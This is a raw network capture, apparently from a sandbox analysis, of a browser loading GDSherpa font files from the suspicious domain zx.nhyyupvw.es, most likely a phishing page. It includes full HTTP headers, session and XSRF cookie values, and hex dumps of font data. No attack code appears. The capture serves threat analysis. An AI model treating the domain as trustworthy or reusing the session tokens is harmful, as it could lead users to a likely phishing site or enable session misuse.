2025-03-24 13:13:09 UTC	1369	IN	Data Raw: 09 f7 26 6d 00 d0 e6 10 c1 78 a2 92 9e 7e 1d 38 ac 35 b1 d9 5e c6 22 49 0b 0c 92 d0 0b e4 49 15 4a bf ad 67 1d 98 a1 a4 f1 fe 67 df 53 5e 2c 5c 2a 8e 53 83 e3 96 e3 d2 28 64 dc 36 c6 78 6c 1c e3 b5 f1 8c cf 26 30 7e 9b c8 04 6c 1a 26 68 d3 32 21 9b ae 21 c7 58 1e 44 74 e6 26 98 3a e8 ae 1d fd 9d 7c 4e 99 bb e4 53 b9 50 96 2e f9 de ae c3 d6 68 d8 d0 40 04 84 41 14 85 24 06 10 20 71 80 00 49 00 04 48 12 20 40 52 00 01 92 06 08 90 0c 40 80 64 01 02 d1 22 f5 32 ca 94 12 2a d6 a7 59 f7 74 c6 c7 08 39 45 35 7d 97 29 a3 d4 94 ca a9 90 56 12 60 c4 86 fb e6 0c 33 2f 84 32 b8 d4 a9 f2 d5 8a 3a 2a d5 84 d2 b5 c8 56 0c f5 ae 4b 8d 29 69 f2 a2 75 ba 43 ea 2d 68 58 83 be 83 dd 43 d6 31 ba 15 81 fb 17 de df 75 68 4f ec 7e ab 07 bd e9 34 a9 d7 8a d4 77 27 a0 0e f7 9d 96 Data Ascii: &mx~85^"IIJggS^,\S(d6xl&0~l&h2!!XDt&:\|NSP.h@A$ qIH @R@d"2Yt9E5})V`3/2:*VK)iuC-hXC1uhO~4w'
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: 27 ca e7 2a 3b b5 9b b5 5e 6d f4 12 71 64 a9 ee b5 17 4d 11 28 23 71 3b 57 2b 7a d0 27 9e 6c e8 ab a1 2c 75 38 40 b2 71 70 fd 28 b0 44 77 96 46 34 5e 7e a4 df f0 b6 3d 4a f7 af e3 54 97 b6 79 81 fa 19 dd c3 ab 9e 54 cb 57 ba 5c ff 10 96 f4 71 d9 ac ea ca 7a e7 bc ec 1b f8 05 d9 31 29 17 f9 e1 bb fb 5c 1c 5d 71 7a d8 0b cd 1c 53 fe fe b2 b4 3d 10 20 96 5c 95 bf 82 ec 7f 3a 32 4a e7 9a 90 90 57 12 7a fd 3c 0d ca 2b 2a c0 90 20 03 03 b5 15 91 74 de 12 46 09 c6 72 c2 be 42 61 8a 26 64 ef 9c cd 7f 9c 14 9e a3 37 72 fa 2f 17 51 8b c3 38 c9 eb 8e 2a 0a f9 8c 82 22 f4 76 b2 f8 94 af f1 c1 bc 1c 2c af dd 60 23 79 ad ae 50 0a d7 57 bd 3d 56 45 8f f1 55 61 5f 2e ac 3d 06 0a 28 a4 49 6d a6 6f 46 1d 78 2e 47 5c 51 cf 7c ea d0 49 1b 79 95 1a 90 09 07 ff e7 e0 5d 83 d3 Data Ascii: ';^mqdM(#q;W+z'l,u8@qp(DwF4^~=JTyTW\qz1)\]qzS= \:2JWz<+ tFrBa&d7r/Q8*"v,`#yPW=VEUa_.=(ImoFx.G\Q\|Iy]
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: 83 5a ba 57 65 1c fc b8 6f e3 49 ec 6f 3b 33 20 a2 d8 b7 fc b0 6d e6 d4 d8 7f e0 70 37 98 4e be e4 a7 7d d3 d7 fe b8 6b 64 84 c3 6d fd 17 d0 66 01 77 ab d0 06 e1 ef 20 c7 14 32 5c 3c 9e f3 9e 6a bd 0b ff 41 39 d8 8a 03 fe 0f d2 46 2d e9 ed 73 8d 8c 55 99 e7 9a 82 cf 9d 96 dd 33 eb 50 4f f8 8b 60 2d 24 19 7e 2c 86 75 fc 9a 88 5f 11 f1 53 91 05 4f 52 f5 48 04 e2 a2 57 79 98 4e a0 4d da 1b f3 61 90 bc e6 d5 86 97 fa 37 e1 70 d4 90 31 be 7b 14 7b ea 31 24 e4 e7 36 ca a4 a4 4a a4 0e 3e f9 ac 08 e3 09 74 47 28 24 12 c2 91 fd 6a 5f 36 92 7e 36 f2 3d bc 8d 5c 34 a8 7e e9 db 8f 94 09 21 1b 42 3d 1b 7d 1b 34 50 c6 40 f7 f0 f8 30 57 e9 7c 0c 7d 0f b1 ab 87 c3 38 9b e3 57 66 17 81 f8 91 c4 6a 08 1e a1 73 a2 b3 0d 59 7d 44 8b f1 ba 4b f8 4d 02 ea 4b 96 f7 6d 42 bd d0 Data Ascii: ZWeoIo;3 mp7N}kdmfw 2\<jA9F-sU3PO`-$~,u_SORHWyNMa7p1{{1$6J>tG($j_6~6=\4~!B=}4P@0W\|}8WfjsY}DKMKmB
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: 37 b8 e6 da 03 dc b3 cc ab ec 24 dc aa 94 7f a2 fe e7 6c 21 4b 8d 61 62 b1 21 8c 2c 75 b2 c4 51 d7 44 c9 c4 7b d5 7b bf e6 fb 01 16 52 9c 9d 80 af 1d 73 5e db f9 da 5b e6 5d ad ba 53 6c 84 af db 02 bb 6c 2f 79 f0 fc b8 6d 5c 92 2d 9f 27 8d 77 77 77 de fd 2c db e7 ef 9d 47 08 5d c5 ae de 3f dc cd c6 73 67 a0 ac 6f 0a 42 a6 4e 55 c3 bc d7 a7 80 36 bb 3b 4c 87 0b ff 78 f8 94 3c 73 fa 29 dc f5 34 07 0c 82 1c b2 fc f6 28 25 35 ec 51 98 3e e5 79 12 ec cc 3e a8 df 54 3f b3 8d d3 4e 3d dc 25 12 7d 23 a8 1b b7 3a 7e 84 e9 5c 57 59 a1 69 f8 4e cc 13 74 cb f6 59 8a f2 c7 7b 23 1e 5c 11 6f cd 9f 0e 5a 7b 48 bd b1 a1 bc 98 60 7c 98 af e8 a1 d0 37 2c 4c e8 f3 d2 5f 18 81 47 ca 7f f4 b6 87 82 e9 75 90 42 08 38 2a 3c 44 02 86 34 04 65 98 f6 e8 c4 68 ca 84 b1 22 27 99 42 Data Ascii: 7$l!Kab!,uQD{{Rs^[]Sll/ym\-'www,G]?sgoBNU6;Lx<s)4(%5Q>y>T?N=%}#:~\WYiNtY{#\oZ{H`\|7,L_GuB8*<D4eh"'B

Timestamp	Bytes transferred	Direction	Data
2025-03-24 13:13:09 UTC	1357	OUT	GET /GDSherpa-bold.woff HTTP/1.1 Host: zx.nhyyupvw.es Connection: keep-alive Origin: https://zx.nhyyupvw.es sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://zx.nhyyupvw.es/pdkcvlronxtgkemeqadrwzkcff7yvxa9i0gsvl?DNSVBYQMUSRSVJAZGBHRZHFOEVAVEJ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InNSRktVTmZTaVlKc2VDWDl5L0VpMUE9PSIsInZhbHVlIjoiaDdocmRqdnQxUEMxQWdJRWMwS1g3ZHZvZjhGQmQ0WEgrYklPczAxbmZSenAyQmUvaXZIMFBBRjczR0VuVmd0S2dWR3B6ODVFZWtab295QzNwU0tINlh1eFUzS1lHMG8wN3FNRndRVFlkbllZY1VDamVsdzlTWnFxM3ZoR2l6cVIiLCJtYWMiOiI0NmI4M2JkNjU3NGMyYWY5ZGQxNGE4MTdmNGM1YTRlYWI1OWZkOTc1MWE5MDQwYWM1MzQ2Y2YxNzE5YjMyZDY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlVseVRNa09UMXVsMklJZ2orM0NHdmc9PSIsInZhbHVlIjoiUDdVeEQ2ZExyUCt4WnNVNkc5d2swYkNSNU1TeFBNQjFldFlnRlplUlQ4VDh0eWx0eG54aXZHakgydnpzK0JKWU1OeUYvVU0ycENQOHlDMnVya1cvUFg1ODZhY24wa2x0bTFIYStLRU9YVSt6di9yZDV6UlI3RllPT2swekROSSsiLCJtYWMiOiJlYTE3NjUzOWMwOTYxMTcyMmFmN2FkOTA3YWFlZjBmYmJhMjhmMTIxMzQ2YzIyYjBhZDQzY2U0Y2FmNTBmMWIzIiwidGFnIjoiIn0%3D
2025-03-24 13:13:09 UTC	1167	IN	HTTP/1.1 200 OK Date: Mon, 24 Mar 2025 13:13:09 GMT Content-Type: font/woff Content-Length: 35970 Connection: close Content-Disposition: inline; filename="GDSherpa-bold.woff" Age: 5533 Last-Modified: Mon, 24 Mar 2025 10:55:52 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CI0ceKxlJfP0BAJU4HFaMIZLr5y09l3sLzov3O1xx5TP1a9T0Ue8qgX9HmGrDRhCpvgZTOPJjJbtxk4QRYasFxBG1GaLaVQYSkv8Hqpbs%2BJNakKmoz0plz0%2FRUzpSiW6XYdd"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=9996&min_rtt=9713&rtt_var=3845&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2329&delivery_rate=293215&cwnd=251&unsent_bytes=0&cid=b0228c1b2901d060&ts=28&x=0" Cache-Control: max-age=14400 CF-Cache-Status: HIT Accept-Ranges: bytes Server: cloudflare CF-RAY: 92566c9a7fe27cf0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=99997&min_rtt=99323&rtt_var=21967&sent=5&recv=9&lost=0&retrans=0&sent_bytes=2824&recv_bytes=1929&delivery_rate=36753&cwnd=207&unsent_bytes=0&cid=0fdc2ab08cd26c7d&ts=225&x=0"
2025-03-24 13:13:09 UTC	202	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 8c 82 00 11 00 00 00 01 24 20 00 01 00 00 00 00 8b 5c 00 00 01 26 00 00 02 93 00 00 00 00 00 00 00 00 44 53 49 47 00 00 8b 54 00 00 00 08 00 00 00 08 00 00 00 01 47 50 4f 53 00 00 01 80 00 00 17 df 00 00 4e b6 ed 42 8f b9 47 53 55 42 00 00 19 60 00 00 02 ad 00 00 04 96 8c 33 79 b9 4f 53 2f 32 00 00 1c 10 00 00 00 46 00 00 00 60 69 c3 7b 5b 63 6d 61 70 00 00 1c 58 00 00 05 1a 00 00 07 3c 97 3f 2b 12 63 76 74 20 00 00 84 dc 00 00 00 2f 00 00 00 3c 29 81 01 c0 66 70 67 6d 00 00 85 0c 00 00 05 c1 00 00 0b e2 3f ae 1b 9f 67 61 73 70 00 00 84 d4 00 00 00 08 00 00 00 08 00 00 Data Ascii: wOFF$ \&DSIGTGPOSNBGSUB`3yOS/2F`i{[cmapX<?+cvt /<)fpgm?gasp
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: 00 10 67 6c 79 66 00 00 21 74 00 00 52 61 00 00 9d a4 24 e0 b2 69 68 65 61 64 00 00 73 d8 00 00 00 33 00 00 00 36 1b 16 7d b8 68 68 65 61 00 00 74 0c 00 00 00 21 00 00 00 24 10 f8 09 15 68 6d 74 78 00 00 74 30 00 00 03 80 00 00 07 78 3f 73 90 23 6c 6f 63 61 00 00 77 b0 00 00 03 a8 00 00 03 be 4c 43 25 1c 6d 61 78 70 00 00 7b 58 00 00 00 20 00 00 00 20 03 35 0c fc 6e 61 6d 65 00 00 7b 78 00 00 02 c8 00 00 06 03 d7 eb b7 a5 70 6f 73 74 00 00 7e 40 00 00 06 94 00 00 0b fb 31 2b f3 2c 70 72 65 70 00 00 8a d0 00 00 00 81 00 00 00 8d 19 50 02 10 78 da ed 5c 0d 74 55 d5 95 de 3b 79 dc bc f7 08 21 be 89 21 09 10 52 8d 34 a2 22 28 08 22 2a 22 a2 55 e4 af d6 56 b4 5d 33 ae a9 e3 72 a8 cb 35 63 07 ac 1d 6a f9 b5 2e 01 87 5f e5 37 55 b0 94 89 48 01 15 31 4d 53 45 08 Data Ascii: glyf!tRa$iheads36}hheat!$hmtxt0x?s#locawLC%maxp{X 5name{xpost~@1+,prepPx\tU;y!!R4"("*"UV]3r5cj._7UH1MSE
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: 6c fc ce 55 a5 a6 ac 70 bd 18 6d 4b 61 f9 cb c5 67 64 82 82 4c 50 90 0a 9e d5 80 0a 8f d8 d0 5a 50 93 87 f6 4d 78 76 33 28 d9 89 5f e1 9f 58 6f 00 fa 62 4a c9 c6 58 02 4d 49 b1 34 05 52 c2 bd b9 98 e3 3c fc ce 87 9e 2d 14 49 25 f2 62 b4 69 0b 36 ad 37 19 98 93 2d bf 61 4b ab 41 fc c6 66 13 13 66 08 d9 03 5b 3e f6 02 78 70 93 e7 06 70 79 2c e9 1b 98 8d 1e 2b 80 b1 32 30 56 a2 d8 6d 2e 7e d7 a2 2d 4f c6 f2 82 f2 44 50 9d 06 a9 e5 63 d4 bd 88 09 07 84 ea 4a 19 69 2e 5a b5 fe 6a dd 35 2d 3f 04 4a 6a 40 49 35 74 b7 41 46 29 12 bd c9 14 8a 0a a1 a3 af 89 2c 72 78 2a 66 f9 14 24 f8 0b fc 3e 4d 03 20 89 d7 c0 39 03 f4 32 bd 0e bd d2 fd d7 c9 f1 90 1c 2b e4 58 85 11 d2 31 b3 9e b0 7b 4d 51 81 50 b3 0d 52 6b 90 96 17 d1 52 41 39 68 c9 87 e7 2a 80 3e 4f 6f 29 a1 4b Data Ascii: lUpmKagdLPZPMxv3(_XobJXMI4R<-I%bi67-aKAff[>xppy,+20Vm.~-ODPcJi.Zj5-?Jj@I5tAF),rxf$>M 92+X1{MQPRkRA9h>Oo)K
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: 46 9d 54 ba 5e 59 b5 2c 57 45 b2 ba 7a 4a da ea e0 d7 ab b4 cd b8 2a dd be 76 a5 ab 7d 10 9e 36 57 41 be e5 b5 03 89 35 fb d4 09 55 10 ad d2 b5 57 b9 54 c3 df 59 b5 9b 19 73 89 97 99 16 63 45 bc aa 8b 94 2f 7a 05 b8 bf 7a 54 0d 44 9e 56 25 f2 ff dc b6 75 59 0b 2e 83 37 3d a1 0e 62 3f e4 54 e6 83 ac 4a a4 19 ed 31 c9 d9 9d 7c b7 93 6c 36 c2 ca e0 c5 be c5 dc 73 a9 0d 2a 97 f2 e9 79 da 88 f3 dd ba 92 14 89 af 97 b6 35 ea 18 b4 a0 16 1e a9 c4 5e 7f a7 25 ce 93 87 70 b8 5a 56 e8 5e c5 be 28 a6 54 ef fb 7f 09 7e 73 df a7 fe a3 a5 5a 3d a3 46 c9 3a 6b 95 e9 bd cd d8 83 df 1a 55 aa 8e 22 63 ca 56 15 6a 9d f3 cc 28 3b 5b 82 07 b8 2f e6 3a da 02 0d ac a7 4b e1 81 1a 9c f7 61 71 d6 bb 52 dd fe 6e d8 5b 3d 8f b5 a6 14 e3 dc 0e de e6 73 75 9c 12 cd 35 7d c9 3c 9b 74 Data Ascii: FT^Y,WEzJv}6WA5UWTYscE/zzTDV%uY.7=b?TJ1\|l6sy5^%pZV^(T~sZ=F:kU"cVj(;[/:KaqRn[=su5}<t
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: 02 4d 4d 26 77 24 9b 3c 21 38 ce 39 b2 26 d3 ef 5b 11 3c e2 9a 86 f9 46 08 b3 69 51 5b a2 67 3b 98 79 83 3d 92 99 71 80 27 bb e1 39 ce 45 95 79 00 fd d6 20 bb 9e 2d 5e bd d6 7e 16 fb 48 48 eb 0b 58 d2 34 58 fe 1e 44 fa 0f 9c 67 7a a1 55 e2 09 ac aa d6 d6 2f f5 e2 57 5d 47 89 da 5e ac f2 60 37 11 32 76 a9 10 b5 b7 d1 75 43 63 84 95 74 8f ab d2 69 c3 f9 36 d7 95 9d 7d 3d d8 69 85 64 b8 fa 78 c2 d7 2f 41 5d 01 bc c3 1a 77 14 0e ab 36 aa 2c cd 6a fd 1a af d9 8e ad 90 92 f3 6e 4d 15 da 39 5c 74 0b 6f d3 5e d4 3e 3b 45 3c e8 65 af e6 76 b0 82 61 38 6b c4 a5 ed 46 6d 68 c5 6d d7 64 d1 b4 53 f4 b2 36 aa 65 06 6d 5b b3 bc c2 17 d2 bf 41 f4 d2 d3 c9 dc 9a 5a 7d 8d 95 3b 37 69 88 90 93 46 91 5e eb fb 54 f8 f5 70 ef 13 72 ad ef 9d b1 6c 34 e8 ba 57 d1 d1 7b 38 f4 f2 Data Ascii: MM&w$<!89&[<FiQ[g;y=q'9Ey -^~HHX4XDgzU/W]G^`72vuCcti6}=idx/A]w6,jnM9\to^>;E<eva8kFmhmdS6em[AZ};7iF^Tprl4W{8
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: 67 f4 7a 8a 1e 6b 12 76 92 67 f5 a6 47 1e d1 09 8c 06 3d 36 90 e0 89 04 77 5a a0 29 be c7 01 b2 ae ec 19 98 db 38 17 8c 8f 02 13 30 c7 1f c8 3c 6d f8 a1 c0 dd 1d c0 8f 2c 78 c0 81 49 0e fc ad b6 db 51 2d 07 e8 fb 74 9f ec b7 03 ee a2 ef c9 de 15 56 aa 7d 77 02 7c c6 1d e8 79 87 40 7f ba 04 b6 3b 11 d0 03 b1 f4 bb c8 5a b2 2d 9f dc 0d f1 43 ff ff 25 9f 44 95 51 80 6b c8 fe 1a dd de 7a ba ce af a4 cb 71 1c 43 ee ef 5a ed d8 fb 1d 39 de 61 e1 cd 92 bf 0c d0 11 b2 37 6c ee 25 89 0f e3 24 17 60 c9 05 52 e4 6d 60 0a 28 e8 86 76 9d 35 a5 58 90 0a f8 0e 28 ed 81 27 d2 00 a9 d0 c2 74 e8 5b 86 fc 37 ad 9e 80 ef 42 93 7a c1 7a 7b 03 0c 68 57 1f 3c 95 85 67 58 32 b0 54 cc b5 2f 66 a5 df 0f dd 2b de eb 52 58 cf 48 b4 8e 02 8f 52 20 c5 07 70 fc 67 fa 29 f0 3e 41 4f e3 Data Ascii: gzkvgG=6wZ)80<m,xIQ-tV}w\|y@;Z-C%DQkzqCZ9a7l%$`Rm`(v5X('t[7Bzz{hW<gX2T/f+RXHR pg)>AO
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: 2e 86 6e 72 8b db dc e1 ae 34 71 9f 1a 1e 88 cb 70 1e 8a 5b b4 91 7a f1 f6 84 97 e2 ae 91 57 62 e7 35 6f c5 ce 7b 3e 88 9d 26 fd 92 a5 83 6f e2 e7 bb 89 20 c5 78 4c 2c 79 26 ce 64 eb 35 6d bb 8c 6a b5 81 ae 5a 4c 95 dd f8 5b bf 71 47 f1 77 36 5e d5 2e 9e de b2 4f ed d1 63 6a b4 fd 60 53 6d ed 23 53 fd 9f 4a db b2 ee 2b 1a a3 2c d7 3e 53 96 5b f1 6a 9b 32 f4 1a 87 02 d3 d5 aa 37 92 fa bf 74 81 bb 45 00 00 00 78 da 63 60 66 99 c6 1c c4 c0 ca c0 c2 6a cc 72 86 81 81 61 26 84 66 02 e1 08 06 54 c0 8e cc 71 73 74 f3 07 52 0a bf 59 d8 72 fe e5 30 9c e0 d8 c7 e4 a5 c0 c0 30 19 24 c7 fc 82 2d 07 24 c7 c0 0c 00 39 34 0c f8 00 00 78 da 8d 95 09 94 4e 65 1c c6 7f cf 9d 45 a1 6c 61 b2 5c 77 3e 4c a4 84 8c ad 45 cb 0c 2a 29 a4 42 34 4a cb 90 f6 4c 08 63 8b 12 c3 60 b4 Data Ascii: .nr4qp[zWb5o{>&o xL,y&d5mjZL[qGw6^.Ocj`Sm#SJ+,>S[j27tExc`fjra&fTqstRYr00$-$94xNeEla\w>LE*)B4JLc`
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: 0d 8c 06 9f 91 10 5d ca c2 1c 63 b3 84 db 4c fb b7 2b d9 6b b4 2e d0 5b ea 61 fc 6e 33 2a 9b 6a 9f 91 fb a1 76 29 dd e8 3d 68 7f ff b0 8e a8 c0 c8 5e 64 df de 60 4c cd 32 ee f7 2b 5f 4b b5 dd 4e 9f 44 23 7b ba ed 44 1b d7 43 4b fc ab 97 35 b9 b4 7f 25 9d dc a2 03 c6 dd 5c ed d6 db 76 5a 8d 26 9f 83 d6 d3 24 eb f0 48 ed b5 2c e8 6a 89 d0 dd 72 a0 8c ff be a5 ec 63 19 50 42 fd 24 96 ab 97 79 ac 5f b9 df e2 d4 d3 3c 77 f7 ef a7 1d ba 82 00 00 78 da d4 bd 77 60 d3 c7 d9 38 7e f7 19 92 bc 2d cb f2 5e b2 6c cb 03 4f 59 96 b7 85 59 5e 18 4f 8c 07 78 63 63 1b 63 f6 0e 7b 86 04 08 64 11 c8 24 94 24 84 52 56 48 02 21 4d 9a 84 b6 d0 bc 0d 6d da a6 49 9a b6 69 4a 1a d2 b7 ed eb 24 2d 58 1f ff 9e bb cf b0 2c 5b 49 fb be df 7f 7e 06 5b d2 e9 b9 fb 3c f7 dc 73 cf ba e7 Data Ascii: ]cL+k.[an3*jv)=h^d`L2+_KND#{DCK5%\vZ&$H,jrcPB$y_<wxw`8~-^lOYY^Oxccc{d$$RVH!MmIiJ$-X,[I~[<s
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: f9 f1 44 92 69 b1 01 93 ff d0 5f 7c 96 39 83 cb ec 37 98 22 e1 4d a1 46 f8 13 e9 74 26 73 dd fe f6 c8 79 e6 71 e1 f7 c2 16 68 58 e2 4f 6f 78 cb a3 60 5b 80 dc 77 a6 09 ba e4 c3 00 19 7d 59 68 96 d0 10 b8 5c 60 5a 46 4e f0 3b ef f6 fd 4d ac a7 aa a4 f3 15 c6 c0 5d cd 00 52 b8 0c d3 31 00 04 69 6d 3f 3f ad 9f c4 d5 80 14 41 c9 08 88 9d c7 6d 78 31 fc 6b 1b 16 8e dd 16 8e 0d 43 83 cf 71 0d 77 d6 71 d1 77 3f 26 bf 12 4e 5f d3 39 13 61 0b 55 43 63 4a d3 2c 16 5b 86 86 39 75 10 20 86 c9 d8 92 56 47 99 39 c3 82 fd 0c 34 37 12 cd 7e 7c 67 1d fb bb 11 03 91 2b 64 be 3c 0f f3 45 87 4c 28 d9 96 08 2c 2d 71 38 0f 4d 29 12 4f ef 8f 51 64 b8 bf 49 6f 02 c6 86 61 53 d1 61 8b 19 93 7a 92 9c 31 51 29 93 c2 c8 3c ce 32 a7 85 d1 ef d5 d4 7c 0f e3 d3 a7 31 26 ef 84 d1 d3 4b Data Ascii: Di_\|97"MFt&syqhXOox`[w}Yh\`ZFN;M]R1im??Amx1kCqwqw?&N_9aUCcJ,[9u VG947~\|g+d<EL(,-q8M)OQdIoaSaz1Q)<2\|1&K
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: 95 ca e8 20 b8 03 02 2d 63 74 8c 75 52 7a dc 89 fa ff da 75 5a 10 4e d6 d4 9c c4 cc e9 3d ef 55 8f d9 bf 77 4e 38 29 bf c3 f5 b5 63 72 7b 6e ed 83 9f 09 4f fc 19 48 fe de 04 f5 07 d6 17 f5 dd 54 3f 47 01 28 1a c5 a2 42 5b 9e 9e 07 9d 4b d9 81 f8 55 9d 30 b1 11 56 a1 0e 0d 78 55 e0 5b 81 03 43 2c a0 a0 40 04 86 69 44 58 60 74 50 34 54 0d 88 d7 6a dd 80 b1 45 9f 2e 4e 12 96 a2 8f 85 25 19 4e 84 66 00 b8 7b 5c 80 e4 ea f9 a6 e7 c6 14 d6 a5 a6 d6 15 c5 59 53 18 ad 7d 20 39 db 92 36 25 2b 27 09 3c 40 ea fd a5 84 77 e5 a7 d6 17 c6 18 0b eb d2 f3 db c3 ee fc 8c df 95 9b 9c 60 b5 26 24 e7 0a 8f 88 7e 21 f8 9e 42 25 bf 0f 78 39 04 85 a3 e9 b6 a9 81 98 63 40 41 72 4c 99 b7 0a 0c eb 52 b0 b1 30 c3 e3 0e aa 73 c8 24 24 dc 0c 76 38 4c ca 50 22 11 c3 c3 f4 3a 2f 4f 0f Data Ascii: -ctuRzuZN=UwN8)cr{nOHT?G(B[KU0VxU[C,@iDX`tP4TjE.N%Nf{\YS} 96%+'<@w`&$~!B%x9c@ArLR0s$$v8LP":/O

Timestamp	Bytes transferred	Direction	Data
2025-03-24 13:13:09 UTC	1361	OUT	GET /GDSherpa-regular.woff2 HTTP/1.1 Host: zx.nhyyupvw.es Connection: keep-alive Origin: https://zx.nhyyupvw.es sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://zx.nhyyupvw.es/pdkcvlronxtgkemeqadrwzkcff7yvxa9i0gsvl?DNSVBYQMUSRSVJAZGBHRZHFOEVAVEJ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InNSRktVTmZTaVlKc2VDWDl5L0VpMUE9PSIsInZhbHVlIjoiaDdocmRqdnQxUEMxQWdJRWMwS1g3ZHZvZjhGQmQ0WEgrYklPczAxbmZSenAyQmUvaXZIMFBBRjczR0VuVmd0S2dWR3B6ODVFZWtab295QzNwU0tINlh1eFUzS1lHMG8wN3FNRndRVFlkbllZY1VDamVsdzlTWnFxM3ZoR2l6cVIiLCJtYWMiOiI0NmI4M2JkNjU3NGMyYWY5ZGQxNGE4MTdmNGM1YTRlYWI1OWZkOTc1MWE5MDQwYWM1MzQ2Y2YxNzE5YjMyZDY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlVseVRNa09UMXVsMklJZ2orM0NHdmc9PSIsInZhbHVlIjoiUDdVeEQ2ZExyUCt4WnNVNkc5d2swYkNSNU1TeFBNQjFldFlnRlplUlQ4VDh0eWx0eG54aXZHakgydnpzK0JKWU1OeUYvVU0ycENQOHlDMnVya1cvUFg1ODZhY24wa2x0bTFIYStLRU9YVSt6di9yZDV6UlI3RllPT2swekROSSsiLCJtYWMiOiJlYTE3NjUzOWMwOTYxMTcyMmFmN2FkOTA3YWFlZjBmYmJhMjhmMTIxMzQ2YzIyYjBhZDQzY2U0Y2FmNTBmMWIzIiwidGFnIjoiIn0%3D
2025-03-24 13:13:09 UTC	1188	IN	HTTP/1.1 200 OK Date: Mon, 24 Mar 2025 13:13:09 GMT Content-Type: font/woff2 Content-Length: 28584 Connection: close Content-Disposition: inline; filename="GDSherpa-regular.woff2" Age: 5533 Last-Modified: Mon, 24 Mar 2025 10:55:52 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=q8WCtLv3UJMeoNUvCZI8UhqLO2I5Va%2FwfY%2FbuLFj7cpQyp2rS8oeaKa1nvb%2Bbtn573iKDdJHcj%2Foubqud%2BsGegz9iwV4ud%2BAlNOHIKg4qtm7%2B75P2Fg%2BWJ%2B3BmFGbkfhN8c9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=10265&min_rtt=10174&rtt_var=2914&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2820&recv_bytes=2333&delivery_rate=277772&cwnd=242&unsent_bytes=0&cid=73e7eb15bb583b56&ts=36&x=0" Cache-Control: max-age=14400 CF-Cache-Status: HIT Accept-Ranges: bytes Server: cloudflare CF-RAY: 92566c9a78c8cb3a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=99791&min_rtt=99446&rtt_var=21532&sent=5&recv=9&lost=0&retrans=0&sent_bytes=2823&recv_bytes=1933&delivery_rate=36997&cwnd=250&unsent_bytes=0&cid=7f41c3d8e1e4742b&ts=223&x=0"
2025-03-24 13:13:09 UTC	181	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 6f a8 00 10 00 00 00 01 36 78 00 00 6f 47 00 01 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 81 bc 3e 1c 89 16 06 60 00 8e 3c 08 3c 09 97 62 11 08 0a 82 c0 68 82 a2 42 01 36 02 24 03 8e 78 0b 87 3e 00 04 20 05 8c 27 07 97 7b 0c 81 0d 5b 78 22 71 04 dd b6 5d c4 a2 0a ca 1b ec 97 68 4a b7 df b3 0a d8 b1 27 dc 0e e2 ce 96 b5 c5 0a 36 ae 32 bb 5b 95 0a ec 05 71 f6 ff ff 7f 7a d2 88 b1 6d 43 77 77 ff 00 08 2a a9 65 55 b0 0a 53 9a a2 10 14 ad 17 8a 9a 11 30 8d c1 53 1a 73 a6 e1 b6 2c ad b0 Data Ascii: wOF2o6xoGB>`<<bhB6$x> '{[x"q]hJ'62[qzmCww*eUS0Ss,
